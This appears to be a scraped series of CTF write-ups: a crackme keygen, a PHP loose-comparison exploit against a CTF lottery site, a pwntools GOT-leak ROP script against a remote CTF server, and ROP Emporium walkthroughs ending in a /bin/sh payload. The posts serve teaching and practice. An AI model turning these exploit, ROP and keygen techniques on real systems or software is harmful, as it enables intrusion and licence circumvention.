c: 0000000000400992 55 push rbp ; Begin of unwind block (FDE at 0x400d1c), End of unwind block (FDE at 0x400dc4), CODE XREF=run+349, run+363, run+377, run+391 0000000000400993 4889E5 mov rbp, rsp 0000000000400996 897DEC mov dword [rbp+var_14], edi 0000000000400999 817DEC56040000 cmp dword [rbp+var_14], 1110 00000000004009a0 7F07 jg loc_4009a9 00000000004009a2 B800000000 mov eax, 0x0 00000000004009a7 EB23 jmp loc_4009cc loc_4009a9: 00000000004009a9 C745FC01000000 mov dword [rbp+var_4], 0x1 ; CODE XREF=c+14 00000000004009b0 EB0A jmp loc_4009bc loc_4009b2: 00000000004009b2 8B45FC mov eax, dword [rbp+var_4] ; CODE XREF=c+46 00000000004009b5 2945EC sub dword [rbp+var_14], eax 00000000004009b8 8345FC02 add dword [rbp+var_4], 0x2 loc_4009bc: 00000000004009bc 837DEC00 cmp dword [rbp+var_14], 0x0 ; CODE XREF=c+30 00000000004009c0 7FF0 jg loc_4009b2 00000000004009c2 837DEC00 cmp dword [rbp+var_14], 0x0 00000000004009c6 0F94C0 sete al 00000000004009c9 0FB6C0 movzx eax, al loc_4009cc: 00000000004009cc 5D pop rbp ; CODE XREF=c+21 00000000004009cd C3 ret
first the number gets checked if its grater than 0x456.
var_4 is set to 0x1
var_4 is substracted from the number
var_4 is incremented by 2
and the number gets checked if its grater than 0x0
and this loops until the number is 0x0 or less than 0x0
if the number is equal to 0x0 the function c will return 1 else it wil return 0
that last part translated to python it’s:
def c(num):
var_4 = 1
while num > 0:
num = num - var_4
var_4 +=2
if num == 0:
return 1
else:
return 0
Now I could just feed this function random 4 digit number bigger than 0x456 and see wich ones will pass this test.
Or we can flip it around and generate a list of numbers
def m():
num = 0
x = 1
while num < 9999:
num += x
x = x+2
if (num > 0x456):
print num
m()
The Keygen
Now its time to bring it al together,
Frist I generate an array containing numbers that will pass the check by the c function excluding all the numbers containing a zero
Then i will pick 4 random numbers from the array making sure that the second is higher than the first, third is higher than the second and the forth is higher then the third.
The array is generated in a ascending order so picking a higher number than the previous number can easily be done by restricting the rang were I randomly select from. Then I print the 4 numbers separated by dashes
!/usr/bin/python
from random import randint
chunks = []
num = 0
x = 1
while num < 9999:
num += x
x = x+2
if (num > 0x456) & (num < 10000) & ('0' not in str(num)):
chunks.append(num)
c1 = randint(0,len(chunks)-4)
c2 = randint(c1+1,len(chunks)-3)
c3 = randint(c2+1,len(chunks)-2)
c4 = randint(c3+1,len(chunks)-1)
print ("%d-%d-%d-%d" % (chunks[c1], chunks[c2], chunks[c3], chunks[c4]))
Now I can just pipe the output of my keygen to ./resqua and check if it works 100% of the time.
$ while true; do python gen.py| tee /dev/pts/2 |./resqua; done;
5184-7396-8649-8836
Enter a valid serial number: Congrats, valid serial number!
5776-6241-7225-8836
Enter a valid serial number: Congrats, valid serial number!
1225-6241-7744-8281
Enter a valid serial number: Congrats, valid serial number!
Enter a valid serial number: Congrats, valid serial number!
2116-5929-8836-9216
Enter a valid serial number: Congrats, valid serial number!
3721-5625-7921-8464
5476-8649-8836-9216
Enter a valid serial number: Congrats, valid serial number!
1936-3481-8836-9216
Enter a valid serial number: Congrats, valid serial number!
1764-5625-8649-8836
Enter a valid serial number: Congrats, valid serial number!
1521-3249-7569-8649
Enter a valid serial number: Congrats, valid serial number!
1225-3364-6889-8649
Enter a valid serial number: Congrats, valid serial number!
Enter a valid serial number: Congrats, valid serial number!
5184-5929-7569-9216
1156-3364-8649-9216
Enter a valid serial number: Congrats, valid serial number!
7744-8649-8836-9216
etc.... etc.... etc... etc.. etc.
Juggling to win a Lottery!
SHU-CTF – lottery
Sorry about the Click-bait title.
This article is about how PHP type juggling and exploiting the Lottery challenge from SHU-CTF.
This challenge is hosted at http://120.79.191.75/web-test/lottery/index.php
and at the time of writing still online.
Finding the vulnerability
They were nice enough to provide us with the source code of the challenge.
So lets start by checking how things work and see if we can find some bugs.
in api.php there is a function that will compare the winning lottery numbers against the user picked numbers. (api.php line 80)
function buy($req){ require_registered(); require_min_money(2); $money = $_SESSION['money']; $numbers = $req['numbers']; $win_numbers = random_win_nums(); $same_count = 0; for($i=0; $i<7; $i++){ if($numbers[$i] == $win_numbers[$i]){ $same_count++; } } switch ($same_count) { case 2: $prize = 5; break; case 3: $prize = 20; break; case 4: $prize = 300; break; case 5: $prize = 1800; break; case 6: $prize = 200000; break; case 7: $prize = 5000000; break; default: $prize = 0; break; } $money += $prize - 2; $_SESSION['money'] = $money; response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]); }
The vulnerability lays in the comparison of the following line. A loose comparison == is used instead of a strict comparison ===
if($numbers[$i] == $win_numbers[$i]){ $same_count++; }
This means that if I am able to send true instead a number it will match 1,2,3,4,5,6,7,8 and 9 the only number it won’t match is 0.
The only restrictions on the input is done on the client side. (buy.php line 7)
<input type="text" name="numbers" id="numbers" minlength="7" maxlength="7" pattern="\d{7}" required placeholder="7 numbers">
and the json is build up and ajax request send in buy.js (line 1)
function buy(){
$('#wait').show();
$('#result').hide();
var input = $('#numbers')[0];
if(input.validity.valid){
var numbers = input.value;
$.ajax({
method: "POST",
url: "api.php",
dataType: "json",
contentType: "application/json",
data: JSON.stringify({ action: "buy", numbers: numbers })
}).done(function(resp){
if(resp.status == 'ok'){
show_result(resp);
} else {
alert(resp.msg);
}
})
} else {
alert('invalid');
}
$('#wait').hide();
}
exploiting the vulnerability
I could just boot up burp suit and intercept and modify the requests.
or craft some curl requests. But for the sake of simplicity I’ll use my browsers debugger.
First get our self a session going by registering at http://120.79.191.75/web-test/lottery/register.php
After registering it will redirect you to the buy.php page.
Hit ‘f12’ to open up the debugging console in your browser.
just enter any 7 numbers into the box next to the buy button on the page.
and go to the sources tab in the debugger and open ‘js/buy.js’
now change line 12 from:data: JSON.stringify({ action: "buy", numbers: numbers })
to:data: JSON.stringify({ action: "buy", numbers: [true,true,true,true,true,true,true] })
press CTRL+S to activate the modified script.
And click the buy button until you have enough money to buy me a beer.
No libc.so No problem.
x-mas CTF – Random present.
A lot of times CTF challenges provide the libc.so file that is installed on the server.
During the x-mas CTF I found out that that is not always the case.
Lets first have a look at the binary
I use pwn tools to check what type of security is used on the binary.
$ pwn checksec chall
[*] '/home/m42d/Desktop/CTFs/xmass/random present/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
And hopper do disassemble
main: 0000000000400676 55 push rbp ; Begin of unwind block (FDE at 0x4008a4), DATA XREF=_start+29 0000000000400677 4889E5 mov rbp, rsp 000000000040067a 4883EC20 sub rsp, 0x20 000000000040067e BF3C000000 mov edi, 0x3c ; argument "__seconds" for method j_alarm 0000000000400683 B800000000 mov eax, 0x0 0000000000400688 E8D3FEFFFF call j_alarm ; alarm 000000000040068d 488B05AC092000 mov rax, qword [__TMC_END__] ; __TMC_END__ 0000000000400694 B900000000 mov ecx, 0x0 ; argument "__n" for method j_setvbuf 0000000000400699 BA02000000 mov edx, 0x2 ; argument "__modes" for method j_setvbuf 000000000040069e BE00000000 mov esi, 0x0 ; argument "__buf" for method j_setvbuf 00000000004006a3 4889C7 mov rdi, rax ; argument "__stream" for method j_setvbuf 00000000004006a6 E8D5FEFFFF call j_setvbuf ; setvbuf 00000000004006ab 488B059E092000 mov rax, qword [stdin@@GLIBC_2.2.5] ; stdin@@GLIBC_2.2.5 00000000004006b2 B900000000 mov ecx, 0x0 ; argument "__n" for method j_setvbuf 00000000004006b7 BA02000000 mov edx, 0x2 ; argument "__modes" for method j_setvbuf 00000000004006bc BE00000000 mov esi, 0x0 ; argument "__buf" for method j_setvbuf 00000000004006c1 4889C7 mov rdi, rax ; argument "__stream" for method j_setvbuf 00000000004006c4 E8B7FEFFFF call j_setvbuf ; setvbuf 00000000004006c9 488B0590092000 mov rax, qword [stderr@@GLIBC_2.2.5] ; stderr@@GLIBC_2.2.5 00000000004006d0 B900000000 mov ecx, 0x0 ; argument "__n" for method j_setvbuf 00000000004006d5 BA02000000 mov edx, 0x2 ; argument "__modes" for method j_setvbuf 00000000004006da BE00000000 mov esi, 0x0 ; argument "__buf" for method j_setvbuf 00000000004006df 4889C7 mov rdi, rax ; argument "__stream" for method j_setvbuf 00000000004006e2 E899FEFFFF call j_setvbuf ; setvbuf 00000000004006e7 BFA0074000 mov edi, aThisIsEasierTh ; argument "__s" for method j_puts, "This is easier than you would think..." 00000000004006ec E85FFEFFFF call j_puts ; puts 00000000004006f1 BFC7074000 mov edi, aSantaAllowedYo ; argument "__s" for method j_puts, "Santa allowed you to ROP me!" 00000000004006f6 E855FEFFFF call j_puts ; puts 00000000004006fb 488D45E0 lea rax, qword [rbp+var_20] 00000000004006ff 4889C7 mov rdi, rax ; argument "__str" for method j_gets 0000000000400702 B800000000 mov eax, 0x0 0000000000400707 E864FEFFFF call j_gets ; gets 000000000040070c B800000000 mov eax, 0x0 0000000000400711 C9 leave
I first spend a lot of time trying to look for a solution were I din’t need a copy of the servers libc.so but with NX enabled and system not linked as external symbol. I realized that there was no way to do this.
Finding the version of libc.so
I need to figure out wat version of libc.so was loaded. I though I need to download a whole bunch of them and check were what the offsets of functions were compared to others and maybe I can figure out what version was running.
My idea seemed a little far fetched, but this was the only thing left I could think of.
While searching for a database or collection of libc.so files.I found that my idea wasn’t that far fetched at all. As I stumbled upon a git hub repository to build a libc.so offset database and a online searchable offset database at libc.blukat.me
leaking the offsets.
I made a small python script, that builds 2 ROP chains and leaks the memory addresses from the Global Offset Table.
from pwn import *
io = remote("199.247.6.180",10005)
start= 0x400590
GOT_puts =0x601018
GOT_alarm =0x601020
sym_puts = 0x00400550
pop_rdi = 0x0040077b # pop rdi; ret
r = io.recv() # flush the buffer
first rop chain to leak libc.so alarm offset and retun to beginning
p = 'A'*40+p64(pop_rdi)+p64(GOT_alarm)+p64(sym_puts)+p64(start)
io.sendline(p)
r = io.recv()
print 'alarm offset : '+hex(u64(r[0:r.find('\x0a',0,8)].ljust(8,'\x00'))) #
second rop chain to leak libc.so puts offset and choke on some bytes.
p = 'A'*40+p64(pop_rdi)+p64(GOT_puts)+p64(sym_puts)+"choke on it"
io.sendline(p)
r = io.recv()
print 'puts offset : '+hex(u64(r[0:r.find('\x0a',0,8)].ljust(8,'\x00'))) #
$ python leak.py
alarm offset : 0xa7efd18f45b10
puts offset : 0xa7efd18ef4c70
Now we can look up what version of libc is running on the server and find the offsets for ‘system’ and the ‘/bin/sh’ sting.
All that remains now it to write a script to build a rop chain to leak 1 address of the GOT. Calculate the base address of libc.so and send another rop chain to call system with /bin/sh as argument.
Playing with ROP part2
Write4
In part 1 I wanted to explain somethings about ROP chains.
But the challenge I took as example only needed to return to a function.
It was not so exciting but it covered the basics of overflowing and Return oriented programming.
Lets take a look at an other challenge on ROPemporium the 64 bit version of write4
Three ways to win.
write4 is a challenge I solved a couple of months ago and now reading the description on the page. I realize i solved the challenge in a way that it wasn’t intended.
Never the less, I’m going to write about solution.
Disassembly
0000000000400746 55 push rbp ; Begin of unwind block (FDE at 0x4009cc), DATA XREF=_start+29 0000000000400747 4889E5 mov rbp, rsp 000000000040074a 488B050F092000 mov rax, qword [__TMC_END__] ; __TMC_END__ 0000000000400751 B900000000 mov ecx, 0x0 ; argument "__n" for method j_setvbuf 0000000000400756 BA02000000 mov edx, 0x2 ; argument "__modes" for method j_setvbuf 000000000040075b BE00000000 mov esi, 0x0 ; argument "__buf" for method j_setvbuf 0000000000400760 4889C7 mov rdi, rax ; argument "__stream" for method j_setvbuf 0000000000400763 E8C8FEFFFF call j_setvbuf ; setvbuf 0000000000400768 488B0511092000 mov rax, qword [stderr@@GLIBC_2.2.5] ; stderr@@GLIBC_2.2.5 000000000040076f B900000000 mov ecx, 0x0 ; argument "__n" for method j_setvbuf 0000000000400774 BA02000000 mov edx, 0x2 ; argument "__modes" for method j_setvbuf 0000000000400779 BE00000000 mov esi, 0x0 ; argument "__buf" for method j_setvbuf 000000000040077e 4889C7 mov rdi, rax ; argument "__stream" for method j_setvbuf 0000000000400781 E8AAFEFFFF call j_setvbuf ; setvbuf 0000000000400786 BFB8084000 mov edi, aWrite4ByRopEmp ; argument "__s" for method j_puts, "write4 by ROP Emporium" 000000000040078b E840FEFFFF call j_puts ; puts 0000000000400790 BFCF084000 mov edi, a64bitsn ; argument "__s" for method j_puts, "64bits\\n" 0000000000400795 E836FEFFFF call j_puts ; puts 000000000040079a B800000000 mov eax, 0x0 000000000040079f E811000000 call pwnme ; pwnme 00000000004007a4 BFD7084000 mov edi, aNexiting ; argument "__s" for method j_puts, "\\nExiting" 00000000004007a9 E822FEFFFF call j_puts ; puts 00000000004007ae B800000000 mov eax, 0x0 00000000004007b3 5D pop rbp 00000000004007b4 C3 ret ; endp ; ================ B E G I N N I N G O F P R O C E D U R E ================ ; Variables: ; var_20: int8_t, -32 pwnme: 00000000004007b5 55 push rbp ; End of unwind block (FDE at 0x4009cc), Begin of unwind block (FDE at 0x4009ec), CODE XREF=main+89 00000000004007b6 4889E5 mov rbp, rsp 00000000004007b9 4883EC20 sub rsp, 0x20 00000000004007bd 488D45E0 lea rax, qword [rbp+var_20] 00000000004007c1 BA20000000 mov edx, 0x20 ; argument "__n" for method j_memset 00000000004007c6 BE00000000 mov esi, 0x0 ; argument "__c" for method j_memset 00000000004007cb 4889C7 mov rdi, rax ; argument "__s" for method j_memset 00000000004007ce E82DFEFFFF call j_memset ; memset 00000000004007d3 BFE0084000 mov edi, aGoAheadAndGive ; argument "__s" for method j_puts, "Go ahead and give me the string already!" 00000000004007d8 E8F3FDFFFF call j_puts ; puts 00000000004007dd BF09094000 mov edi, 0x400909 ; argument "__format" for method j_printf 00000000004007e2 B800000000 mov eax, 0x0 00000000004007e7 E804FEFFFF call j_printf ; printf 00000000004007ec 488B157D082000 mov rdx, qword [stdin@@GLIBC_2.2.5] ; argument "__stream" for method j_fgets, stdin@@GLIBC_2.2.5 00000000004007f3 488D45E0 lea rax, qword [rbp+var_20] 00000000004007f7 BE00020000 mov esi, 0x200 ; argument "__n" for method j_fgets 00000000004007fc 4889C7 mov rdi, rax ; argument "__s" for method j_fgets 00000000004007ff E81CFEFFFF call j_fgets ; fgets 0000000000400804 90 nop 0000000000400805 C9 leave 0000000000400806 C3 ret ; endp ; ================ B E G I N N I N G O F P R O C E D U R E ================ usefulFunction: 0000000000400807 55 push rbp ; End of unwind block (FDE at 0x4009ec), Begin of unwind block (FDE at 0x400a0c) 0000000000400808 4889E5 mov rbp, rsp 000000000040080b BF0C094000 mov edi, aBinls ; argument "__command" for method j_system, "/bin/ls" 0000000000400810 E8CBFDFFFF call j_system ; system 0000000000400815 90 nop 0000000000400816 5D pop rbp 0000000000400817 C3 ret ; endp 0000000000400818 align 32 ; End of unwind block (FDE at 0x400a0c)
just like in the ret2win challenge there is a pwnme function that writes more user input than the buffer can fit.
in this case 0x200 bytes to a 0x20 byte buffer.
Were to return to.
There is a function called ‘usefulFunction‘ but it will ‘ls‘ instead of ‘cat flag‘. That’s not very helpfull.
But, the call to system we can use.
go go gadget ROPchain.
We controle what is on the stack with the overflow. but we also need to controle wat is in the registers or at a certain address.
So we abuse the end of excising functions to do our dirty work.
Take a look at the end of this function.
; ================ B E G I N N I N G O F P R O C E D U R E ================ __libc_csu_init: 0000000000400830 4157 push r15 ; Begin of unwind block (FDE at 0x400a2c), DATA XREF=_start+22 0000000000400832 4156 push r14 0000000000400834 4189FF mov r15d, edi 0000000000400837 4155 push r13 0000000000400839 4154 push r12 000000000040083b 4C8D25CE052000 lea r12, qword [__frame_dummy_init_array_entry] ; __frame_dummy_init_array_entry 0000000000400842 55 push rbp 0000000000400843 488D2DCE052000 lea rbp, qword [__do_global_dtors_aux_fini_array_entry] ; __do_global_dtors_aux_fini_array_entry 000000000040084a 53 push rbx 000000000040084b 4989F6 mov r14, rsi 000000000040084e 4989D5 mov r13, rdx 0000000000400851 4C29E5 sub rbp, r12 0000000000400854 4883EC08 sub rsp, 0x8 0000000000400858 48C1FD03 sar rbp, 0x3 000000000040085c E83FFDFFFF call _init ; _init 0000000000400861 4885ED test rbp, rbp 0000000000400864 7420 je loc_400886 0000000000400866 31DB xor ebx, ebx 0000000000400868 0F1F840000000000 nop dword [rax+rax] loc_400870: 0000000000400870 4C89EA mov rdx, r13 ; CODE XREF=__libc_csu_init+84 0000000000400873 4C89F6 mov rsi, r14 0000000000400876 4489FF mov edi, r15d 0000000000400879 41FF14DC call qword [r12+rbx*8] 000000000040087d 4883C301 add rbx, 0x1 0000000000400881 4839EB cmp rbx, rbp 0000000000400884 75EA jne loc_400870 loc_400886: 0000000000400886 4883C408 add rsp, 0x8 ; CODE XREF=__libc_csu_init+52 000000000040088a 5B pop rbx 000000000040088b 5D pop rbp 000000000040088c 415C pop r12 000000000040088e 415D pop r13 0000000000400890 415E pop r14 0000000000400892 415F pop r15 0000000000400894 C3 ret
Do you see al these lovely little pops followed by a ret . That is what we call a gadget.
Finding ROPgadgets the easy way
you could go trough the disassembly by hand, but there is a good change you will mis something valuable. since some multi byte opcodes hide a other opcode within them.
And lucky for us there are nice tools available like ROPgadget that can scan a binary and outputs a nice list of all the gadgets hiding in the program.
$ ROPgadget --binary write4
Gadgets information
0x00000000004006a2 : adc byte ptr [rax], ah ; jmp rax
0x000000000040089f : add bl, dh ; ret
0x000000000040089d : add byte ptr [rax], al ; add bl, dh ; ret
0x000000000040089b : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x000000000040081b : add byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rbp - 0x77], cl ; ret
0x000000000040081c : add byte ptr [rax], al ; add byte ptr [rax], al ; mov qword ptr [r14], r15 ; ret
0x00000000004006ac : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000040089c : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x000000000040081d : add byte ptr [rax], al ; add byte ptr [rbp - 0x77], cl ; ret
0x00000000004005b3 : add byte ptr [rax], al ; add rsp, 8 ; ret
0x000000000040081e : add byte ptr [rax], al ; mov qword ptr [r14], r15 ; ret
0x00000000004006ae : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040089e : add byte ptr [rax], al ; ret
0x000000000040081f : add byte ptr [rbp - 0x77], cl ; ret
0x0000000000400718 : add byte ptr [rcx], al ; ret
0x0000000000400714 : add eax, 0x20096e ; add ebx, esi ; ret
0x0000000000400719 : add ebx, esi ; ret
0x00000000004005b6 : add esp, 8 ; ret
0x00000000004005b5 : add rsp, 8 ; ret
0x0000000000400717 : and byte ptr [rax], al ; add ebx, esi ; ret
0x0000000000400879 : call qword ptr [r12 + rbx8] 0x0000000000400a13 : call qword ptr [rcx] 0x000000000040087a : call qword ptr [rsp + rbx8]
0x000000000040073e : call rax
0x000000000040093b : call rsp
0x000000000040087c : fmul qword ptr [rax - 0x7d] ; ret
0x0000000000400739 : int1 ; push rbp ; mov rbp, rsp ; call rax
0x000000000040069d : je 0x4006b8 ; pop rbp ; mov edi, 0x601060 ; jmp rax
0x00000000004006eb : je 0x400700 ; pop rbp ; mov edi, 0x601060 ; jmp rax
0x0000000000400738 : je 0x400731 ; push rbp ; mov rbp, rsp ; call rax
0x00000000004006a5 : jmp rax
0x0000000000400805 : leave ; ret
0x0000000000400713 : mov byte ptr [rip + 0x20096e], 1 ; ret
0x0000000000400821 : mov dword ptr [rsi], edi ; ret
0x00000000004007ae : mov eax, 0 ; pop rbp ; ret
0x00000000004005b1 : mov eax, dword ptr [rax] ; add byte ptr [rax], al ; add rsp, 8 ; ret
0x000000000040073c : mov ebp, esp ; call rax
0x00000000004006a0 : mov edi, 0x601060 ; jmp rax
0x0000000000400877 : mov edi, edi ; call qword ptr [r12 + rbx8] 0x0000000000400876 : mov edi, r15d ; call qword ptr [r12 + rbx8]
0x0000000000400820 : mov qword ptr [r14], r15 ; ret
0x000000000040073b : mov rbp, rsp ; call rax
0x0000000000400804 : nop ; leave ; ret
0x0000000000400815 : nop ; pop rbp ; ret
0x00000000004006a8 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x0000000000400898 : nop dword ptr [rax + rax] ; ret
0x00000000004006f5 : nop dword ptr [rax] ; pop rbp ; ret
0x0000000000400716 : or dword ptr [rax], esp ; add byte ptr [rcx], al ; ret
0x0000000000400715 : outsb dx, byte ptr [rsi] ; or dword ptr [rax], esp ; add byte ptr [rcx], al ; ret
0x000000000040088c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400890 : pop r14 ; pop r15 ; ret
0x0000000000400892 : pop r15 ; ret
0x0000000000400712 : pop rbp ; mov byte ptr [rip + 0x20096e], 1 ; ret
0x000000000040069f : pop rbp ; mov edi, 0x601060 ; jmp rax
0x000000000040088b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop rbp ; ret
0x0000000000400893 : pop rdi ; ret
0x0000000000400891 : pop rsi ; pop r15 ; ret
0x000000000040088d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040073a : push rbp ; mov rbp, rsp ; call rax
0x00000000004005b9 : ret
0x0000000000400737 : sal byte ptr [rcx + rsi*8 + 0x55], 0x48 ; mov ebp, esp ; call rax
0x00000000004008a5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004008a4 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040081a : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; mov qword ptr [r14], r15 ; ret
0x00000000004006aa : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000040089a : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400736 : test eax, eax ; je 0x400733 ; push rbp ; mov rbp, rsp ; call rax
0x0000000000400735 : test rax, rax ; je 0x400734 ; push rbp ; mov rbp, rsp ; call rax
Unique gadgets found: 71
We have our gadgets, now what?
Lets think about wat we want to do here
I want to pop a shell.
so I need system() to execute ‘/bin/sh’. for that to happen i need a memory address containing the string ‘/bin/sh’ needs to be loaded into the rdi register before calling system()
Since the binary doesn’t contain the string ‘/bin/sh’ this means I have to place it some were myself I can however write it to the stack but with ASLR enabled the stack is somewhere else on every execution.
Borrowing a memory
I use rabin2 to get a overview of the sectors and its permissions.
$ rabin2 -S write4
[Sections]
Nm Paddr Size Vaddr Memsz Perms Name
00 0x00000000 0 0x00000000 0 ----
01 0x00000238 28 0x00400238 28 -r-- .interp
02 0x00000254 32 0x00400254 32 -r-- .note.ABI_tag
03 0x00000274 36 0x00400274 36 -r-- .note.gnu.build_id
04 0x00000298 48 0x00400298 48 -r-- .gnu.hash
05 0x000002c8 288 0x004002c8 288 -r-- .dynsym
06 0x000003e8 116 0x004003e8 116 -r-- .dynstr
07 0x0000045c 24 0x0040045c 24 -r-- .gnu.version
08 0x00000478 32 0x00400478 32 -r-- .gnu.version_r
09 0x00000498 96 0x00400498 96 -r-- .rela.dyn
10 0x000004f8 168 0x004004f8 168 -r-- .rela.plt
11 0x000005a0 26 0x004005a0 26 -r-x .init
12 0x000005c0 128 0x004005c0 128 -r-x .plt
13 0x00000640 8 0x00400640 8 -r-x .plt.got
14 0x00000650 594 0x00400650 594 -r-x .text
15 0x000008a4 9 0x004008a4 9 -r-x .fini
16 0x000008b0 100 0x004008b0 100 -r-- .rodata
17 0x00000914 68 0x00400914 68 -r-- .eh_frame_hdr
18 0x00000958 308 0x00400958 308 -r-- .eh_frame
19 0x00000e10 8 0x00600e10 8 -rw- .init_array
20 0x00000e18 8 0x00600e18 8 -rw- .fini_array
21 0x00000e20 8 0x00600e20 8 -rw- .jcr
22 0x00000e28 464 0x00600e28 464 -rw- .dynamic
23 0x00000ff8 8 0x00600ff8 8 -rw- .got
24 0x00001000 80 0x00601000 80 -rw- .got.plt
25 0x00001050 16 0x00601050 16 -rw- .data
26 0x00001060 0 0x00601060 48 -rw- .bss
27 0x00001060 52 0x00000000 52 ---- .comment
28 0x00001ae2 268 0x00000000 268 ---- .shstrtab
29 0x00001098 1896 0x00000000 1896 ---- .symtab
30 0x00001800 738 0x00000000 738 ---- .strtab
at 0x00601050 there is chunk or memory I have write permission to and will hold probably hold nothing of value to me.
So i will use this to write ‘/bin/sh’ to.
Buiding the ROPchain
I want the stack to look like.
0x400890 # pop r14; pop r15; ret
0x601050 # our borrowed memory address
/bin/sh/
0x400820 # mov qword [r14], r15; ret
0x400893 # pop rdi; ret
0x601050 # our borrowed memory address
0x400810 # call system
So I make a small python script to print out the payload.
payload = "A"*40 +\
"\x90\x08\x40\x00\x00\x00\x00\x00" \
"\x50\x10\x60\x00\x00\x00\x00\x00" \
"/bin/sh\x00" \
"\x20\x08\x40\x00\x00\x00\x00\x00" \
"\x93\x08\x40\x00\x00\x00\x00\x00" \
"\x50\x10\x60\x00\x00\x00\x00\x00" \
"\x10\x08\x40\x00\x00\x00\x00\x00"
print payload
I would normally use p64() from pwn lib, but for the sake of example I’m doing it the hard way today.
Time to POP a shell
now to pop a shell I first write my payload to a file
$ python rop.py > payload
Then I cat the payload file and pipe to 4write
$ cat payload - | ./4write
I use the ‘-‘ argument to make it output the stdin after it outputs the contents of our payload file. this way we get a nice little shell.
$ cat payload - | ./write4
write4 by ROP Emporium
64bits
Go ahead and give me the string already!
cat flag.txt
ROPE{a_placeholder_32byte_flag!}
Playing with ROP part1
What are ROP chains?.
To understand what a ROP chain is you frist need to know what ROP means.
ROP stands for Return oriented programming.
When a program calls a function it wil push the address from where it was called on the stack. When the functions is finished it pops the address and returns there.
A ROP Chain is a chain consisting of values and return addresses that a attacker might use to manipulate a program to do what he wants it to do.
Time to get our hands dirty
Writing about gadgets and ROP chains without an example to show is kinda boring. lets walk trough the “64bit ret2win” challenge you can find at . https://ropemporium.com/
In this challenge the objective is quite simple, there is a function we need to call ‘ret2win’ and it will print us a flag.
Disassemble time.
lets open the binary in hopper to see what we are dealing with.
; ================ B E G I N N I N G O F P R O C E D U R E ================ main: 0000000000400746 55 push rbp ; Begin of unwind block (FDE at 0x400acc), DATA XREF=_start+29 0000000000400747 4889E5 mov rbp, rsp 000000000040074a 488B050F092000 mov rax, qword [__TMC_END__] ; __TMC_END__ 0000000000400751 B900000000 mov ecx, 0x0 ; argument "__n" for method j_setvbuf 0000000000400756 BA02000000 mov edx, 0x2 ; argument "__modes" for method j_setvbuf 000000000040075b BE00000000 mov esi, 0x0 ; argument "__buf" for method j_setvbuf 0000000000400760 4889C7 mov rdi, rax ; argument "__stream" for method j_setvbuf 0000000000400763 E8C8FEFFFF call j_setvbuf ; setvbuf 0000000000400768 488B0511092000 mov rax, qword [stderr@@GLIBC_2.2.5] ; stderr@@GLIBC_2.2.5 000000000040076f B900000000 mov ecx, 0x0 ; argument "__n" for method j_setvbuf 0000000000400774 BA02000000 mov edx, 0x2 ; argument "__modes" for method j_setvbuf 0000000000400779 BE00000000 mov esi, 0x0 ; argument "__buf" for method j_setvbuf 000000000040077e 4889C7 mov rdi, rax ; argument "__stream" for method j_setvbuf 0000000000400781 E8AAFEFFFF call j_setvbuf ; setvbuf 0000000000400786 BFC8084000 mov edi, aRet2winByRopEm ; argument "__s" for method j_puts, "ret2win by ROP Emporium" 000000000040078b E840FEFFFF call j_puts ; puts 0000000000400790 BFE0084000 mov edi, a64bitsn ; argument "__s" for method j_puts, "64bits\\n" 0000000000400795 E836FEFFFF call j_puts ; puts 000000000040079a B800000000 mov eax, 0x0 000000000040079f E811000000 call pwnme ; pwnme 00000000004007a4 BFE8084000 mov edi, aNexiting ; argument "__s" for method j_puts, "\\nExiting" 00000000004007a9 E822FEFFFF call j_puts ; puts 00000000004007ae B800000000 mov eax, 0x0 00000000004007b3 5D pop rbp 00000000004007b4 C3 ret ; endp ; ================ B E G I N N I N G O F P R O C E D U R E ================ ; Variables: ; var_20: int8_t, -32 pwnme: 00000000004007b5 55 push rbp ; End of unwind block (FDE at 0x400acc), Begin of unwind block (FDE at 0x400aec), CODE XREF=main+89 00000000004007b6 4889E5 mov rbp, rsp 00000000004007b9 4883EC20 sub rsp, 0x20 00000000004007bd 488D45E0 lea rax, qword [rbp+var_20] 00000000004007c1 BA20000000 mov edx, 0x20 ; argument "__n" for method j_memset 00000000004007c6 BE00000000 mov esi, 0x0 ; argument "__c" for method j_memset 00000000004007cb 4889C7 mov rdi, rax ; argument "__s" for method j_memset 00000000004007ce E82DFEFFFF call j_memset ; memset 00000000004007d3 BFF8084000 mov edi, aForMyFirstTric ; argument "__s" for method j_puts, "For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\\nWhat could possibly go wrong?" 00000000004007d8 E8F3FDFFFF call j_puts ; puts 00000000004007dd BF78094000 mov edi, aYouThereMadamM ; argument "__s" for method j_puts, "You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\\n" 00000000004007e2 E8E9FDFFFF call j_puts ; puts 00000000004007e7 BFDD094000 mov edi, 0x4009dd ; argument "__format" for method j_printf 00000000004007ec B800000000 mov eax, 0x0 00000000004007f1 E8FAFDFFFF call j_printf ; printf 00000000004007f6 488B1573082000 mov rdx, qword [stdin@@GLIBC_2.2.5] ; argument "__stream" for method j_fgets, stdin@@GLIBC_2.2.5 00000000004007fd 488D45E0 lea rax, qword [rbp+var_20] 0000000000400801 BE32000000 mov esi, 0x32 ; argument "__n" for method j_fgets 0000000000400806 4889C7 mov rdi, rax ; argument "__s" for method j_fgets 0000000000400809 E812FEFFFF call j_fgets ; fgets 000000000040080e 90 nop 000000000040080f C9 leave 